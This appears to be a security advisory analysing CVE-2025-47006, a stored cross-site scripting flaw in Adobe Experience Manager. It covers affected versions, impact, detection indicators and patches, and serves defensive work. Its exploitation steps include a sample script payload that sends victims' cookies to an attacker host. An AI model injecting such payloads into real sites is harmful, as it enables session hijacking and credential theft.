CVE-2025-47006: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47006 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executed in the victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim visiting the affected page) but no elevated privileges beyond a basic authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute unauthorized JavaScript in a victim's browser within the context of the AEM application. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exposure of sensitive information accessible to the victim's session. The scope is marked as Changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47006. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0 with a low-privileged account available.
2. Authenticate: Log in to the AEM instance using a low-privileged user account.
3. Locate vulnerable form field: Navigate to a page or component containing a form field that does not properly sanitize user input before storing it.
4. Inject payload: Submit a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field.
5. Payload persistence: The malicious script is stored server-side within AEM's content repository.
6. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the compromised field, the stored script executes in their browser, enabling session theft, credential harvesting, or other malicious actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=) from low-privileged user accounts.
• Content Repository: Unexpected JavaScript or HTML script tags stored within AEM page content nodes or form field values in the JCR (Java Content Repository).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially indicating cookie or credential exfiltration.
• Browser/Application Logs: Client-side JavaScript errors or unexpected redirects logged in browser developer tools when accessing specific AEM pages.

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. As interim mitigations, administrators should implement strict input validation and output encoding on all user-supplied content, deploy a Content Security Policy (CSP) to restrict unauthorized script execution, and regularly audit AEM content for unexpected script injections. Upgrading to the patched version is the recommended and definitive remediation (Adobe Advisory).